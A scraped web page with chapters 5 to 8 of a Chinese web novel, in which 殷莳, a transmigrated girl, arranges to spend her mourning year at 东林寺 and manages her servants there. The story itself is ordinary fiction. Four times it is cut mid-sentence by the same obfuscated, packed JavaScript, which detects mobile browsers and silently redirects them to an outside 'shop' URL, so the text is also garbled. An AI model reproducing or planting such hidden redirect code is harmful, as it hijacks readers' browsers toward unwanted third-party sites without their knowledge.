d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473216|141615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >殷莳暂时还摸不清这里的物价水平,但看巧雀的的模样,知道十两应该不少。 刚才的小表弟可一点都没提,是小孩不知道吗? 不不,殷莳想起沈缇方方正正的行止,人小规矩大,他都能代替大人来社交了,不会不知道送的礼物里都有什么。 人家只是觉得没必要特意提罢了。 据殷莳所知“殷莳”和这位姑姑根本就没见过,能做到这样真的算是大好人了。 她轻轻喟叹,对巧雀感慨:“这是‘我’亲姑姑。” 巧雀转身出去:“我叫青燕姐姐把银子收起来。” 殷莳:“……” 对了,她的钱都是青燕管着的。 青燕不太情愿地被喊进来了,赞了句“不愧是姑太太”,然后把银子收进了里间柜子里的一个匣子里。 那匣子还有把小铜锁呢。 殷莳眼巴巴看着她摘钥匙、开锁、上锁,又把钥匙挂到了自己的腰间。 自己的钱自己不能拿着真让人难受啊。 但这里就是这样的。没有主人家亲自拿钥匙的。管钥匙的要么是心腹妈妈,要么是信任的贴身婢女。 没有哪个主人腰间别着一串钥匙的,会被人笑。 殷莳只能默默告诉自己,入乡随俗。 青燕嘱咐巧雀:“你在屋里,我外面忙,有事再叫我。” 说完,她就溜到外面去了。 做婢女的都以进屋当差为佳,巧雀只觉得莫名其妙。 可过了一会儿,青燕在院里就瞧见巧雀也出来了,脸色有点白。 她不敢过去,伸手招呼巧雀:“你怎么出来了?” 巧雀扯住她袖子:“姑、姑娘……在跟姨娘说话……” 青燕一把捂住她嘴,给她拖到厢房里才让她说话。 巧雀说:“……对着空地自言自语地,我还以为在说什么。” “结果是在和姨娘说话,我吓死了。” “她叫我别怕,说姨娘只是想陪陪她。” 两个丫头你看着我,我看着你,都激灵灵地打了个寒噤。 小丫头子正在廊下丢石子玩,忽然厢房门打开,青燕喊她:“云鹃,云鹃。” 云鹃拍拍手过去:“姐姐?” 青燕说:“我们俩有事,你去屋里伺候吧。” 云鹃应了,听话地去了里头。 殷莳在屋里把巧雀也吓了出去,没一会儿见云鹃进来了,心里直乐。 云鹃也就八九岁的样子,瞅着跟她差不多,平时干些碎活,不常在屋里,没有青燕、巧雀跟原身那么熟悉,安全多了。 “那就你在屋里吧。”她说,“你去次间吧,我叫你再进来。” 打发了云鹃,殷莳往床上一歪。 很舒服,很放松,跟前两天的状态完全不一样了。 她刚才就已经合计过了,她现在该干什么?结论是:什么也不干。 有孝在身,也不用去上课,也不用去天天给嫡母请安。 她现在这个阶段,就是该好好守在屋里哪也不去,等着那位姨娘下葬。之后大概也是一样该深居简出很长时间。 对于换了灵魂的穿越者来说,简直是再好不过的一个过渡期了。 殷莳美美地翘起了脚。 到了傍晚时分,她那位在家里排行老三的父亲大人来探望她了。 5. 第 5 章 第5章 殷三老爷能来殷莳这里,究其原因,竟还是因为沈夫人和沈缇。 燕姨娘没了,殷三老爷也感伤,但还是妹妹和外甥省亲的事更重要。他的精力都放在这件事上了。唯恐哪里做得不好,慢待了妹妹。 今日一切都算顺利,也知道妻子会去与妹妹单独会个面,他特特早早回房,问问妻子情况。 三夫人撇嘴:“妹妹根本不接话,你别想七想八了。咱们又没个嫡女,你塞个庶女给妹妹,你好意思?人家沈家的金孙,你不怕妹妹在婆婆夫婿面前难做了?” 殷三老爷怎么会想不到呢,只不过是抱着一丝丝不切实际的幻想罢了。如今被浇灭了,微微失望,却也不算特别失望。 原本就是妄念。 这时候有人来禀报:“表少爷亲自去了四姑娘院里探望,还送了东西。” 大宅门里哪有秘密,况且沈缇本就光明正大,自然下人们会禀报到三夫人跟前来。 “哎?”三夫人道,“定是妹妹心疼四丫头。真是的,曦哥也是孩子呢,还要劳累他。” 殷三老爷却高兴起来:“这是她亲亲的侄女,自然心疼。” 妹妹心疼侄女,自然是因为跟他这个哥哥亲,爱屋及乌。 做姑姑的尚且如此,做爹的不能还不如个没见过面的姑姑,作势问了问殷莳的情况:“四娘如何了?” “上午不是报过一次,比昨日好多了。”三夫人道,“下午她醒了,还过来问安,只不巧我正带着孩子们在妹妹那里,没赶上。听丫头说已经恢复得七七八八了。想来刚开始就是吓着了,再喝两副药压压惊应该就没事了。” 这一下让殷三老爷想起了刚死了的燕姨娘。 燕姨娘病了挺长时间的了,俗话说久病床前无孝子,何况只是个妾。以前的宠爱在病床前早就消磨没了。 沈夫人遣沈缇去探望殷莳,反勾起了殷三老爷残存的一点温情和父爱。他叹息一声,一提衣摆站起来:“我去看看四娘。” 这便来到了殷莳的院子,一进来便看到两个大些的丫头都在外面。 殷三老爷蹙眉:“怎不进屋守着姑娘?” 因为怕鬼而玩忽职守,青燕和巧雀当然不敢说实话,青燕抹眼睛道:“姑娘思念姨娘,不叫我们在跟前,只想一个人待着。我们也不敢真听了,叫云鹃在里头守着呢。但有事,一叫就进去。” 殷三老爷眼眶一红:“她才没了亲娘,你们要仔细些。她若哭闹,哄着些。” 青燕忙应:“奴婢晓得。” 三老爷说:“你去唤她。” 青燕这时候顾不得害怕,殷勤进去通禀。 女儿大了,便是父亲也不能进入内室,三爷只在明堂里等候。 他极少来女儿院中,此时四下打量,见这房中墙上的画、条案上的瓶,该有的都有,妻子和下人应该也没苛待这个庶女。 只每一样东西都平平,虽不出错,却也毫不出彩,顶破天也只能给一个“齐备”的评价。 三爷轻轻叹息。 殷莳本来跟屋里翘脚躺着盘算未来呢,忽然青燕进来通禀她“爹”来了,顿时一惊而起。 她跟沈家小表弟跟前敢做戏哭唱,是因为沈家表弟以前跟她根本没见过,不知道她是什么样的人。可这是亲爹啊。 殷莳这时候第一反应代入的还是另一个时空的父母子女的关系——一家人住在一套房子里天天见面彼此非常熟悉。殷莳怎么能不紧张。 她定了定神,随即反应过来这是不同的时空。瞧,她这亲爹都不会进里面来,在外面等着,叫婢女通禀。 不一样的,不一样的。 青燕帮着殷莳整理衣服的时间,殷莳心里已经有了想法。她是个才死了亲娘的小女孩不是吗,她可以做任何表现。 哭也行,闹也行,傻也行,甚至昏倒都行对吧。她之前就已经吓得高烧过了。 想清楚就不慌了,殷莳跟着青燕往外走,穿过第二道槅扇门的时候,把头一低。 殷三老爷负手而立,正在打量明堂里的摆设,闻声转身,便看到四女儿低垂着头缓缓走出来。 十分可怜。 殷三老爷的心底顿时生出些许疼惜,唤道:“莳儿。” 殷莳缓缓抬头,看了眼前这个男人一眼。 生得挺不错的。爹生得就很好,所以跟好看的小妾生出来的女儿就更好看了。合逻辑。 她低低唤了声“爹”,便又垂下头,甚至都没给这个男人行礼。 因为她今天连嫡母三夫人都没见着,甚至还没机会实践行礼的姿势,记忆里虽然有相关的信息,可身体还是陌生。 与其行得乱七八糟不标准露出破绽,干脆就装傻充楞。 很有效,昔日乖巧听话的四女儿变得木木呆呆的,很叫当爹的心疼。殷三老爷叹息着摸摸她的头,解释:“这两日你姑母省亲是家里大事。我和她一母同胞,你祖父把事情都交给我了,我实在脱不开身。今日刚事定便来看你。” 听这话,殷莳不想费神去猜那位姨娘临终前有没有见到自己的丈夫,累。 女人多了,便分薄了爱意。儿女多了,便分薄了亲情。 何况原身的亲娘还只是个妾,都未必有爱,就算有,顶多也就是个宠爱,和爱终究还是不一样的。 见女儿竟不做任何回应,痴痴傻傻的,哪里像妻子说的那样“恢复得七七八八”了,分明还在丧母悲痛中没有回过神来。 殷三老爷心中生出几分愧疚,想了想,柔声道:“我想着给你姨娘在东林寺做个道场,让她好好地去。你年纪小,倒不必非过去,就在家里给你姨娘念念经……” “文”字还没出口,殷莳噗通一声就跪下了:“我去!” 什么叫刚打瞌睡就有人送来枕头。 殷莳原就想着借原身母丧作为自己融入的过渡期,现在说要去寺庙,那不是更好? 她这一跪毫无负担,演嘛,不当真。 而且不光顶了人家女儿的身份,以后还要吃这个人的喝这个人的,跪他一次就当表示感谢了。 “爹……”演员双目含泪,“我不光要去,我还想、我还想……” 一时想不起来那个词叫什么来着,赶紧使劲抽气,好像哭得不行的样子。抽了几口想起来了:“给姨娘诵经祈福,……嗯,我就在寺里给姨娘诵经祈福……她是我生母,我给她守孝。” 殷三老爷有点犹豫:“有孝心是好,只你还太小,庙里清苦……。 殷莳揪住他的长衫下摆:“我还要给祖父祈福,还有爹爹和母亲,还有、还有四姑姑。大家都健健康康,寿比南山。” 小小孩子心里惦记这么多人。殷三老爷感动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483964|141615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了:“好孩子。” 他同意了:“行,爹来安排。起来吧。” 青燕很有眼色地搀扶殷莳起来。 殷莳低头以袖拭泪。 欧耶~ 殷三老爷回去跟三夫人说要给燕姨娘做个道场,还说要让殷莳去东林寺里给全家人诵经祈福。 “这孩子是个有孝心的。”他感动道,“你安排一下。” 三夫人听说要给燕姨娘做道场,还要让殷莳去寺庙里,心里微微一哂。 燕姨娘病了几年了,也没见他多关心,死了又开始心疼了? 她撇嘴道:“既有孝心,干脆在那里服满孝期得了。” 此地时空为大穆朝,大穆朝开国之初定礼制,原是定得儿子和在室女需为庶母守孝一年。但此制一直饱受诟病,民间实际上都不执行,名存实亡。 如今妾室死了,只有亲生的孩子会为生母守孝。也并不严格,守三个月、六个月,外人便已赞一声“知生恩”了。 三爷犹豫:“她还有点小……” 三夫人只是随口一说而已,并不在意:“随你。” 三爷却真的考虑起来。因为燕姨娘一走,殷莳听到消息就昏倒而后高烧,实在有点吓人。时人都信些鬼神之说,不免会觉得殷莳是被什么不干净的东西缠上了。小孩子本来就容易夭折的。 三夫人随口揶揄,三爷却是真动了心:“也好。她烧了两日,我怕是她姨娘舍不得她要带她走。且让她寄身佛前,守住了魂魄。有佛光护佑,慢慢消了她姨娘的念想。” 他道:“你给她安排个稳妥的人跟着。” 三夫人:“……” 早知道不多嘴了,净给自己找事。 翌日殷三老爷去看妹妹,他们兄妹终于也能私下里单独见见。这是世上除了儿子之外与她血脉最近的人,一母同胞的亲兄长。虽然一直有书信来往,年节里节礼不断,但叙起别情,沈夫人还是泪水涟涟。 三老爷也泪洒衣襟。 兄妹俩絮絮叨叨说了许多,终于在边边角角之外的地方提及了殷莳。 “你昨日还遣了曦哥去看小四。”三老爷眼睛红红地道,“我当时就想,这是真真的亲姑姑。纵离得远了,也隔断不了。” 沈夫人帕子按按眼睛:“那是自然。你我不都是这么过来的嘛。你对这孩子好些。” 沈夫人和殷三老爷也是小小年纪没了姨娘。 但其实,殷三老爷的感受没有沈夫人那么深。因为他毕竟是男子,女儿归母亲管,儿子可是归父亲管的。 跟后宅打交道的少,自然感受就没有沈夫人那么强烈。沈夫人才真是在嫡母手里讨生活。特别是嫡母还有自己亲生的女儿,庶女就更小心翼翼。 是以才真心地怜惜这个刚没了生母的侄女。 殷三老爷道:“那是自然,这是我亲闺女。这孩子可好,自己提出来要去东林寺守孝祈福。我已经叫你嫂子去安排了。今天一早便派人过去打点。” 沈夫人想起昨天沈缇也对这个表姐印象很好,赞道:“真真是好孩子。” 后面的事自然便是她嫂子三夫人的事了,她做姑姑的已经仁至义尽,不能再以小姑子的身份去干涉嫂子的家事。此事于她便放下。 殷莳,在她心目中便是一个温柔孝顺的可怜侄女,一个淡淡的印象留在了心里。 6. 第 6 章 第6章 殷莳没想到事情这样顺利。 傍晚她嫡母就使人唤了她过去,告诉她:“都安排好了,你打算在那边多久?” 殷莳内心大喜,说:“我想守满一年。” 三夫人是有儿子的人,并不把个庶女放在心上,她愿意守就守,还能给家里带点好名声。 她同意了,道:“那叫你房里的人给你收拾东西,倒也不必一下子把四季衣服都带去,笨重。只带眼前穿的就行,回头换季了会给你送东西过去。你瞅瞅你屋里的人要带谁留谁?你也不小了,该学着操持起来了。” 殷莳忍住心中雀跃,绷住一脸呆相,有些迟钝地说:“就、就带云鹃和李妈妈就行。” “你屋里跑腿的那个小的?”三夫人道,“她能顶什么事。大丫头总得带一个。” 殷莳已经听丫头说过了,这个时空的习俗,给做妾的生母守孝时间是一年。她原本想把青燕和巧雀都甩在府里,这样分别一年之后再回来,她变得跟“从前”不一样了,她们也没什么好怀疑的,人总是会长大会变的嘛,何况是从一个和家里完全不同的环境回来。 可惜三夫人不让。 她只好选择了威胁性小一点的那个:“那就巧雀跟着吧。青燕看院子。” 三夫人准了。 但殷莳身边的李婆子年纪虽大,却只是个粗使婆子,不当事。两个丫头年纪也太小,必须得有个稳妥的人看着才行。 殷莳的奶娘也是个没福气的,把姑娘奶出来了,该享姑娘福的时候她病死了。 燕姨娘那时候身体还没坏到那么严重的程度,想跟女儿多亲近,求着三夫人想亲自照顾殷莳。三夫人也不稀罕庶女,就允了。 哪知道燕姨娘也是个没福的,竟也走了。导致殷莳现在身边没有大人看顾了。 三夫人便想指个自己院里的妈妈让跟着去东林寺,好歹先对付一年。 “让我想想,我院里的人都脱不开身呢……嗯,顺堂家的,对,高顺堂家的挺老成的,她在家里闲着呢,让她跟着你。” 得用的不乐意给殷莳用,扒拉出个在家赋闲的给殷莳。 殷莳低头:“多谢母亲。” 还好这里是叫“母亲”、“父亲”、“爹”。因为是原时空不用的称呼,所以用起来反而流畅。 反正是演嘛。 要真让她喊“爸”、“妈”可能反而要难住她。 回去便让大家收拾东西。 一听要去一年,大家其实都不是太想去。去个十天半个月可以,那是玩,去一年……那是受苦去了。 但又有什么办法呢。主人发了话,哪是你想不想的问题。 她们甚至没有辞职的自由。 奴婢又不是雇工,奴婢签的是身契,此身此命,姻缘孩子,都归属主家。 殷莳喟叹也庆幸,至少二次投胎没投成奴婢。 “钱箱子得带上。”她早想好了,直接分配,“青燕留下看家,钥匙先给巧雀。” 唯一高兴的人大概就是青燕了。 她不用跟着去!自己一个人守着院子,那把门一关,不是能睡到自然醒了? 甚至院里没人,她还可以偷偷地睡姑娘那张填漆床。 遂解下腰间钥匙给巧雀,叮嘱:“可看好了箱子,钥匙别离身。用了钱要记清楚,别回头说不清。” 尤其强调:“等回来赶紧还我,我可太不放心了。” 钥匙就是权力。她预先打了伏笔防止巧雀在这一年时间里哄了殷莳,回来不还钥匙。 中学生的年纪在这里搞职场政治,令殷莳侧目。 殷家上上下下的人此时都围着京城归来的沈夫人母子转,个个都捧着他们。 三房一个姨娘的过身,于别人就是随个分子钱就过去了的事。 只有三房的四姑娘殷莳,麻衣孝带地上了车,带着几个箱笼,两个丫头两个婆子,安安静静地往东林寺去了。 门上的婆子瞧着她登车,小小身形披麻戴孝,看着怪可怜的。 …… …… 云鹃跟车夫一起坐在帘子外头。巧雀跟婆子们在后面车里。 殷莳一个人在车里呲着牙直乐。 好好好,就先在寺庙里修行一年,一年后再回去,就算“仿佛变了个人”也都说得通。 那时候,新生活才真的开始。 马车往东林寺去,多半天的功夫就到了。 棺木并不往这边运,那动静太大,一个妾还不值当的这么折腾。其实燕姨娘死的不是时候,赶上沈夫人省亲,为着怕冲撞了沈夫人,当时就给运出去了,听说已经匆匆下葬。 如今殷莳就是抱着燕姨娘的牌位过来而已。 仆人已经提前来打点了,待她们到了,自有知客僧招待。寺庙这种地方就是常有人寄居,东林寺在方圆百里算是香火比较盛的,大户人家做法事做道场都找他家。原就修得许多院子、精舍便是做这用途的。 殷莳在这里被安排了一间小小院子,不大,但打扫得非常干净。虽和家里院子比起来简单朴素了许多,但到这儿来的人本来也不是来享福的。 知客僧说:“小僧法号淳远,姑娘但有事,都可找我。” 知客僧就是要跟香客打交道的。殷莳不知道殷三老爷给庙里布施了多少,做道场又要花费多少,但她瞧着淳远眼神灵活,身上没什么香火气倒是烟火气挺浓的。 她就咳了一声,唤道:“巧雀。” 这是来之前她就跟巧雀说好了的。 走到哪都得是钱开路。但她也不敢太直接,怕原身说不出这样的话,只能故作天真地问:“我们去了,是不是准备些赏银,师父们给姨娘念经便更认真些?” 青燕和巧雀都点头,很认可。便提前准备好了。 巧雀便将预先备好的荷包拿出来。 虽然三夫人指派了一个夫家姓高唤作“顺堂家的”的妈妈给殷莳,但殷莳跟她完全不熟,匆忙凑在一起,话都没说两句呢,还得磨合。这事也没提前知会她,所以还得殷莳这个主人亲自说话:“大师父,一点心意,请不要嫌弃。请师父们给我姨娘念经的时候多念两遍,我感激不尽。” 淳远飞快地接过荷包揣进袖子里,表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13498848|141615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情和眼神都特别真诚:“阿弥陀佛,百善孝为先,施主尽可放心,但凡心诚,所求必应。” 法事、念经什么的,当然好好做是更好的。但主要还是,殷莳希望自己这一年的生活能方便点。 荷包里装的是铜钱,沉甸甸的,殷莳觉得自己够心诚了。 看这位师父的眼神,这诚意他也接收到了。 殷莳一低头,袖子掩住脸,哽咽了一下:“多谢。” 等淳远离开了,高顺堂家的不满地道:“以后有事,姑娘都提前与我商量了再做。” 她男人唤作高顺堂,是三夫人的陪房,如今跟着三爷,前程也还算好。但她一直没什么差事,赋闲在家,如今忽然得了个差事,虽算不得什么好差,总强过在家闲着。 有差事才有工钱。没差事,主家只供给一口基本的米粮。所以人人都想领差事。 这个差事预计为期一年,说起来也不算差了。只是没什么后续发展空间。因为姑娘们长大都是要嫁出去的。人力资源有限,三夫人一个庶子媳妇,自己还要在这个大宅门里打拼、宅斗,不太可能把自己的陪房送给个庶女。 大概就是对付完了这一年,她跟四姑娘就各归各院了。既然如此,高顺堂家的就没打算太投入。不出岔子就行。 但她瞧着四姑娘殷莳年纪不大,不免有点想拿捏的心思。 殷莳并不怕她。因为这是个跟原身就不熟的人。 殷莳只怕被熟悉的人看出来换了芯子,跟不熟的人就没什么可怕的。 她说:“一点银钱小事,有什么要商量的,我又不是不能做主。别累着妈妈,有大事再跟妈妈商量。” 人的第一印象是很重要的,高顺堂家的第一次拿捏就没成,便觉出殷莳不是个软和人,干笑道:“我盯着她们收拾屋子去。” 便抢先进去了,遮羞。 巧雀咋舌,凑在殷莳耳边夸她:“姑娘真会说话。”以前可没看出来。 殷莳趁机对她说:“你记住,我没有姨娘了,以后不能像从前那样。” 巧雀很认同,点头:“是,姑娘说得对。” 高顺堂家的在屋里高声唤,她便赶紧进去帮忙了。 这个时空有点身份的人,不分男女,出门都极其麻烦。不光是衣服、用具、被褥这些东西要自备,甚至连马桶都是从自家带的。 殷莳先在厢房里喝茶,看着高妈妈、李婆子、巧雀、云鹃还有两个来送她们的健妇铺床摆物,整理箱笼。 待都收拾好了,男仆和健妇们与高妈妈作别,回去了。 高妈妈来告诉殷莳:“家里每个月会来送钱送东西,这些姑娘不用操心。有我呢。” 殷莳点头:“钱送来了就交给巧雀,东西妈妈管着。你们各管各的,谁管的东西短了缺了谁负责。” 连着两次拿捏失败,高妈妈心思彻底歇了。反正大家就这一年,对付过去就行了。等回去了,人家终究还是姑娘,她可能又要变回一个没有差事的妇人。 终于把两只手往腰间一叠,低了头:“是。” 殷莳为期一年的守孝生活由此开始。 7. 第 7 章 第7章 其实最辛苦的就是做法事那几日。 殷莳为了把“孝女”的人设坐实了,真的是整场地跟着。一天下来,腿都跪麻了。必须得晚上让巧雀和云鹃给她揉腿。 这时候就默默感谢掌管投胎的神,没有让她投胎成给别人捏腿的。 好在做法事也就是几日。最后一场结束的时候,殷莳大大地松了口气。 她双手合十,默默祈祷:占了你女儿的身体和身份,希望你和她能投胎到我那个世界去。那里没有小妾也没有庶出,比这里强百倍,不,强一万倍。 法事结束了,殷莳问高妈妈:“以后我都做些什么?” 高妈妈反问她:“姑娘在家都做些什么?” 殷莳一听就明白了,三夫人嘴里这个“稳妥”人其实也没那么稳妥,高妈妈其实也不知道以后都该做些什么。 高妈妈被派这个差事之前,是赋闲在家的。 这差事一去一年,三夫人当然不肯把自己真正得用的人派给殷莳去。记得自己的陪房家里还有这么个人,常来请安,就推出去给殷莳了。 殷莳嘴角抽抽。 既然如此,她说:“家里不就是那些。我是问这里有没有什么特别的规矩。妈妈去问……去把淳远师父请来我问问他吧。” 本来想让高妈妈去问,转念一想还是自己亲自问吧。 之前原身的姑姑和表弟送来了一点善意,让她还以为这个时空挺温和的,没有小说里那么多宅斗的弯弯绕绕。 到三夫人和高妈妈这里又让她明白过来,就算没有那么多奇葩极品,正常人也是会有很多小心思。 像高妈妈,不过是一个仆妇而已,先头居然隐隐有想拿捏她这个小姐的意思。 人的行为都是受利益驱使的,顺着这个逻辑看事情,特别清楚。殷莳早就看明白了。 无非就是看她是小孩,拿捏住,管住她的钱箱和送过来的补给物资,稍稍中饱私囊一下,对高妈妈来说一年搞不好也能攒出一笔不错的外财。 所以,钱、物和其他,最好还是拿在自己手里最安稳。 高妈妈去请了知客僧淳远过来。 淳远说:“阿弥陀佛,并没有什么特别的。每日有早课晚课,檀越年纪还小,能来便来,不必强求。日常里首座大和尚与我们讲经,也都是可以听的。” 这位女檀越年纪虽小,人可十分懂世故的,家里教得很好。 淳远之前受了她沉甸甸一个荷包,也不白受,告诉她:“再一个……檀越年纪还小,寺里的斋饭用久了恐受不住。檀越一片孝心可鉴,感动佛祖,倒不必拘泥这吃素不吃素的。鄙处中原也有为檀越们单备的灶,不与僧众们混在一起的。各院中若想自己开火也是可以的。需要什么,附近人家多,都是寺里的佃户,鸡黍俱能买得到。” 这几天吃素吃得她都面有菜色了,殷莳闻言眼睛都亮了。 她咳了一声,还是问了高妈妈一句:“我们孝期吃肉合适吗?” 高妈妈听到“我们”,眼睛也亮了。 “无妨的。”她拍着胸脯子保证,“别的地方不知道,就怀溪,现在有几家能正经给姨娘守孝的,儿子都做不到。似姑娘这般实已是感天动地了。” 说得真够夸张的。但殷莳接收到了她传达的信息——这个生母说到底也就是个妾而已,她自己又是个女孩,没人在意。 那可真是太好了! 殷莳袖子按按眼角,哽咽:“姨娘也是……经常叫我要多吃肉,说长身体……那就,多谢师父提醒。” 有院子住,有婢女伺候,还有肉吃。 这小日子还有什么不满足的。 细问了问,要想吃荤得另交钱。 殷莳说:“我与妈妈商量商量再与师父说。” 淳远便先回去了。 殷莳问高妈妈:“你会不会做饭,你若会,我把这个钱给你,你来操办。” 高妈妈接这个差事之前是家庭主妇,就这种男主外女主内的大环境,殷莳不相信她不会做饭。 果然高妈妈哎呀呀地搓着手:“当然会,当然会。姑娘交给我只管放心,我烧得一手好茶饭,咱们府里的人都是知道的。只大厨房都是大夫人的人,咱们的人插不进去,我才闲在家里的。” 殷莳比照着庙里给的报价又添了点给高妈妈:“采买这些都交给你,你能余下多少我不管,反正每个月这些钱我要顿顿吃到肉,我要是吃不好,咱们就还是吃庙里的。” 有钱过手就有利可图,有利可图人就自然会弯腰。 高妈妈前头拿捏殷莳不成,本以为这份差事没什么油水了,不想殷莳主动把油水送到她手里。 这过世的燕姨娘可真会教孩子,把四姑娘教的人精似的。 她此时对殷莳全没了最初的态度和想法,眼神里全是热络,赌咒发誓:“姑娘放心,但有一顿吃不好,叫我男人不姓高!” 殷莳微微一笑:“靠你了。” 和尚都说了那些什么课什么讲经都不强制,殷莳就开启了她睡到自然醒的美好生活。 说是自然醒,可其实依然是天一亮就醒了。因为这里根本没有任何熬夜的理由,基本上是天黑吃完饭稍微消消食,就吹灯睡觉了。而且超级安静,能听到院子里的虫鸣甚至风吹树梢的声音。睡眠质量特别好。 东林寺是在山上,景色好极了。尤其现在是阳春三月,草长莺飞的时节。 殷莳睡得饱,早上起来照镜子,眼睛明亮皮肤水灵,整个人就像这大好的春光。 春光可不能辜负,留了李婆子看院子,殷莳带着高妈妈、巧雀和云鹃吃完早饭就开始在山上溜达。 山不高,寺庙建在山顶上,往下眺望,能看到大片的农田和村落,甚至能看到其间的村人。 那些田据说都是东林寺的。寺庙嘛,不交税,好多寺庙都富得流油。 那个淳远和尚就满面红光的,殷莳都有点怀疑他私底下吃肉。 山脚就有村落,有一条弯弯曲曲的盘山道可以坐马车直达庙门口。也有一条全是台阶的步道,给信众展示“诚心”的。除了这两条路,还有许多小路。应该观光客踏青探幽踩出来的。 东林寺的服务堪称丰俭由人,殷莳非常欣赏这种务实的作风和良好的服务意识。 该着他家香火好。 留了李婆子看院子,殷莳带着高妈妈、巧雀和云鹃溜达着往山下去。 这时间阳光明亮起来,路边草叶上的露水偶尔闪烁,鸟雀的叫声清脆悦耳。虽然这里其实是有人烟,甚至往山下看,村里人家还挺稠密的。但这环境对殷莳来说已经非常的原生态了。 宛如踏青。 到了山脚下的村落里,很容易就找到卖菜的人。真如淳远和尚说的那样,鸡也有,鸭也有,只要你有钱,都能买得到。 殷莳本来饶有兴趣想看看高妈妈与这些村人讨价还价了解一下当地物价的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13516390|141615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,高妈妈却笑眯眯地撵她:“巧雀,你陪着姑娘四处看看,也别走太远了,熟悉熟悉附近就行。” 既然之前都许诺了节余多少钱都归她,殷莳便识趣地走开了。 晴空明媚,空气新鲜,春光实在太好,可终究是在孝里,也不能真当成踏青。 况且来日方长呢。 殷莳带着巧雀和云鹃在村头稍稍转了一圈,观察了一下妇女们的衣着,尤其是脚。在确定没有看到任何一双小脚之后,她大大地放心了。 “走,看看妈妈买好了菜没。买好了我们就回去。” 巧雀说:“是,早点回去。寺里常接待香客,诸般都妥当,姑娘好好在上面待着就是了。可不要再下山了。” 殷莳眼里美好的“原生态”,在巧雀眼里就是十分嫌弃的乡间地头。 巧雀也是从小就在殷府里长大的,搁在村人眼里已然算是“大家婢”了。何况她是屋里伺候的婢女,不做粗活。她看着这村头田间牛羊粪便,妇女小儿都衣衫粗陋,便十分瞧不上,只想快些回山上精舍里去。 寺庙院落虽然比家里是差了些,但也干干净净,该有的都有。 殷莳瞧了巧雀一眼,又瞧了云鹃一眼。 这便是年纪大的不好了。巧雀虽然才十二三岁,但已经有了自己成型的价值观。 云鹃就还好,因为日常里也帮着做粗活,还没有姐姐们那么讲究、精致,对眼前环境也没有太嫌弃。 所以,想要跟自己价值观一致的,还是得从小培养,殷莳默默地想。 挑自己的婢女实在是穿越前辈们必做的功课。 “天天闷在院子里,我倒不是嫌闷,是怕坏身子骨。”殷莳说,“每天还是要走动走动,舒展一下的。” 巧雀避开一坨牛粪,捏着鼻子说:“那我陪姑娘在上面走。瞧下面这些人,盯着我们看。” 这一点确实。殷莳虽然穿着素服,可那衣服料子还是让村人忍不住盯着看。 他们倒是也不上前,但这么盯着看,的确让人不舒服。 “好,回去吧。”殷莳转身。 三人寻了高妈妈。 高妈妈收获颇丰,篮子里有菜有蛋。她眉开眼笑:“已经和他们说好了,鸡杀好了弄干净给我送上来,毕竟不好在上面杀生。” 马上有鸡汤喝,殷莳觉得嘴里都在分泌唾液。强忍住,作出淡淡忧伤:“我待会告诉姨娘,不是我嘴馋,是为了长身体。” 高妈妈忙说:“当然。” 巧雀想起在府里的时候姨娘的魂魄还未离开,不知道有没有跟到这里来,害怕起来。 回到山上果不其然殷莳又对空气说起话来,巧雀头皮发麻,法事都做完了,怎地姨娘还不走?还放心不下四姑娘吗? 待殷莳在屋里唤人,她便推了云鹃进去:“快去。” 高妈妈看见怪道:“你怎么不去?” 燕姨娘守着四姑娘飘来飘去这事只有青燕和巧雀知道。青燕心眼子多,早告诉了巧雀不要再与别人说,怕云鹃知道了也不肯进屋去伺候。 巧雀便谎称:“我肚子疼。” 高妈妈知道自己是三夫人的陪房,以后断无可能让她跟了庶出的四姑娘。殷莳只是个临时的主子,不值当她花费太多心力。 只要无事,便也不往前凑。 殷莳的身边,便只年纪小小的云鹃贴身伺候,巧雀外头伺候。 这很好,殷莳露出满意的微笑。 8. 第 8 章 第8章 身边只有云鹃这样的小孩,殷莳便不用那么小心翼翼,可以放松很多。 又打着考教云鹃的名义,成日里问东问西,实则悄悄熟悉府里的人员和规矩。 她还给云鹃画大饼:“将来青燕嫁人了,就给你提到屋里头来,拿的月钱就多了。” 